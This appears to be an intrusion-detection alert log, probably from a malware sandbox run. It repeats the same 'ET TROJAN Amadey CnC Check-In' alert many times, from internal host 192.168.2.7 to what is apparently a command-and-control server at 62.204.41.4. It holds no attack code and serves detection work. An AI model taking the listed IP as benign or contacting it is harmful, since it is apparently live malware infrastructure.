Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450114802027700 02/07/23-23:08:54.813586
SID:	2027700
Source Port:	50114
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450091802027700 02/07/23-23:08:48.773540
SID:	2027700
Source Port:	50091
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449946802027700 02/07/23-23:08:08.944668
SID:	2027700
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450132802027700 02/07/23-23:08:59.313660
SID:	2027700
Source Port:	50132
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450002802027700 02/07/23-23:08:25.080418
SID:	2027700
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449780802027700 02/07/23-23:07:23.953446
SID:	2027700
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450209802027700 02/07/23-23:09:20.298654
SID:	2027700
Source Port:	50209
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450104802027700 02/07/23-23:08:52.249237
SID:	2027700
Source Port:	50104
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450012802027700 02/07/23-23:08:27.539545
SID:	2027700
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450364802027700 02/07/23-23:10:00.578597
SID:	2027700
Source Port:	50364
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449742802027700 02/07/23-23:07:13.217594
SID:	2027700
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450361802027700 02/07/23-23:09:59.837623
SID:	2027700
Source Port:	50361
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449745802027700 02/07/23-23:07:13.690917
SID:	2027700
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450094802027700 02/07/23-23:08:49.510006
SID:	2027700
Source Port:	50094
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450097802027700 02/07/23-23:08:50.388048
SID:	2027700
Source Port:	50097
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450186802027700 02/07/23-23:09:14.607278
SID:	2027700
Source Port:	50186
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450438802027700 02/07/23-23:10:20.467632
SID:	2027700
Source Port:	50438
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449770802027700 02/07/23-23:07:21.455442
SID:	2027700
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450466802027700 02/07/23-23:10:27.272312
SID:	2027700
Source Port:	50466
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450158802027700 02/07/23-23:09:05.696446
SID:	2027700
Source Port:	50158
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450336802027700 02/07/23-23:09:53.715951
SID:	2027700
Source Port:	50336
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450288802027700 02/07/23-23:09:41.886673
SID:	2027700
Source Port:	50288
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450206802027700 02/07/23-23:09:19.556589
SID:	2027700
Source Port:	50206
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449936802027700 02/07/23-23:08:06.480598
SID:	2027700
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449847802027700 02/07/23-23:07:41.745093
SID:	2027700
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449717802027700 02/07/23-23:07:07.153402
SID:	2027700
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449799802027700 02/07/23-23:07:28.505366
SID:	2027700
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450170802027700 02/07/23-23:09:10.682104
SID:	2027700
Source Port:	50170
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449819802027700 02/07/23-23:07:33.315465
SID:	2027700
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449908802027700 02/07/23-23:07:59.582545
SID:	2027700
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450040802027700 02/07/23-23:08:35.106092
SID:	2027700
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450069802027700 02/07/23-23:08:43.290160
SID:	2027700
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449920802027700 02/07/23-23:08:02.536242
SID:	2027700
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450473802027700 02/07/23-23:10:29.015986
SID:	2027700
Source Port:	50473
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450412802027700 02/07/23-23:10:12.220070
SID:	2027700
Source Port:	50412
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450118802027700 02/07/23-23:08:55.823225
SID:	2027700
Source Port:	50118
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450216802027700 02/07/23-23:09:22.010258
SID:	2027700
Source Port:	50216
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449731802027700 02/07/23-23:07:10.568753
SID:	2027700
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449985802027700 02/07/23-23:08:20.913010
SID:	2027700
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450154802027700 02/07/23-23:09:04.744163
SID:	2027700
Source Port:	50154
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450249802027700 02/07/23-23:09:32.275895
SID:	2027700
Source Port:	50249
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450056802027700 02/07/23-23:08:40.088529
SID:	2027700
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449728802027700 02/07/23-23:07:09.767109
SID:	2027700
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449826802027700 02/07/23-23:07:34.986762
SID:	2027700
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449882802027700 02/07/23-23:07:50.365010
SID:	2027700
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449916802027700 02/07/23-23:08:01.554969
SID:	2027700
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449821802027700 02/07/23-23:07:33.782681
SID:	2027700
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449879802027700 02/07/23-23:07:49.589028
SID:	2027700
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450417802027700 02/07/23-23:10:13.425468
SID:	2027700
Source Port:	50417
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450285802027700 02/07/23-23:09:41.160719
SID:	2027700
Source Port:	50285
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450048802027700 02/07/23-23:08:38.164092
SID:	2027700
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450375802027700 02/07/23-23:10:03.233760
SID:	2027700
Source Port:	50375
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450121802027700 02/07/23-23:08:56.541604
SID:	2027700
Source Port:	50121
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450322802027700 02/07/23-23:09:50.288220
SID:	2027700
Source Port:	50322
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450280802027700 02/07/23-23:09:39.926138
SID:	2027700
Source Port:	50280
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450339802027700 02/07/23-23:09:54.482136
SID:	2027700
Source Port:	50339
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449797802027700 02/07/23-23:07:28.024524
SID:	2027700
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449952802027700 02/07/23-23:08:10.427883
SID:	2027700
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449932802027700 02/07/23-23:08:05.505650
SID:	2027700
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449748802027700 02/07/23-23:07:14.403704
SID:	2027700
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449929802027700 02/07/23-23:08:04.773416
SID:	2027700
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450260802027700 02/07/23-23:09:35.014959
SID:	2027700
Source Port:	50260
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449846802027700 02/07/23-23:07:41.490813
SID:	2027700
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450003802027700 02/07/23-23:08:25.325125
SID:	2027700
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450174802027700 02/07/23-23:09:11.713080
SID:	2027700
Source Port:	50174
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449711802027700 02/07/23-23:07:05.695210
SID:	2027700
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450190802027700 02/07/23-23:09:15.591790
SID:	2027700
Source Port:	50190
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450404802027700 02/07/23-23:10:10.231347
SID:	2027700
Source Port:	50404
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449965802027700 02/07/23-23:08:13.650116
SID:	2027700
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450293802027700 02/07/23-23:09:43.101385
SID:	2027700
Source Port:	50293
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450211802027700 02/07/23-23:09:20.794111
SID:	2027700
Source Port:	50211
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449784802027700 02/07/23-23:07:24.915414
SID:	2027700
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450437802027700 02/07/23-23:10:20.219041
SID:	2027700
Source Port:	50437
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450460802027700 02/07/23-23:10:25.826616
SID:	2027700
Source Port:	50460
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449859802027700 02/07/23-23:07:44.659899
SID:	2027700
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450187802027700 02/07/23-23:09:14.862061
SID:	2027700
Source Port:	50187
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450105802027700 02/07/23-23:08:52.555967
SID:	2027700
Source Port:	50105
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450302802027700 02/07/23-23:09:45.325485
SID:	2027700
Source Port:	50302
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450229802027700 02/07/23-23:09:25.211609
SID:	2027700
Source Port:	50229
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449890802027700 02/07/23-23:07:52.300017
SID:	2027700
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450141802027700 02/07/23-23:09:01.548249
SID:	2027700
Source Port:	50141
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450395802027700 02/07/23-23:10:08.061097
SID:	2027700
Source Port:	50395
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450224802027700 02/07/23-23:09:23.949840
SID:	2027700
Source Port:	50224
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449771802027700 02/07/23-23:07:21.708262
SID:	2027700
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449895802027700 02/07/23-23:07:53.534084
SID:	2027700
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449813802027700 02/07/23-23:07:31.831966
SID:	2027700
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450194802027700 02/07/23-23:09:16.621524
SID:	2027700
Source Port:	50194
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450292802027700 02/07/23-23:09:42.847678
SID:	2027700
Source Port:	50292
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449903802027700 02/07/23-23:07:56.006891
SID:	2027700
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450424802027700 02/07/23-23:10:15.140263
SID:	2027700
Source Port:	50424
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449814802027700 02/07/23-23:07:32.080927
SID:	2027700
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450289802027700 02/07/23-23:09:42.121099
SID:	2027700
Source Port:	50289
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450035802027700 02/07/23-23:08:33.151525
SID:	2027700
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450068802027700 02/07/23-23:08:43.057010
SID:	2027700
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449912802027700 02/07/23-23:08:00.559985
SID:	2027700
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450010802027700 02/07/23-23:08:27.035129
SID:	2027700
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450362802027700 02/07/23-23:10:00.086376
SID:	2027700
Source Port:	50362
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449909802027700 02/07/23-23:07:59.832613
SID:	2027700
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450335802027700 02/07/23-23:09:53.466997
SID:	2027700
Source Port:	50335
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449899802027700 02/07/23-23:07:54.525689
SID:	2027700
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449997802027700 02/07/23-23:08:23.882401
SID:	2027700
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449870802027700 02/07/23-23:07:47.398418
SID:	2027700
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450273802027700 02/07/23-23:09:38.220730
SID:	2027700
Source Port:	50273
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449833802027700 02/07/23-23:07:36.871624
SID:	2027700
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450049802027700 02/07/23-23:08:38.401506
SID:	2027700
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

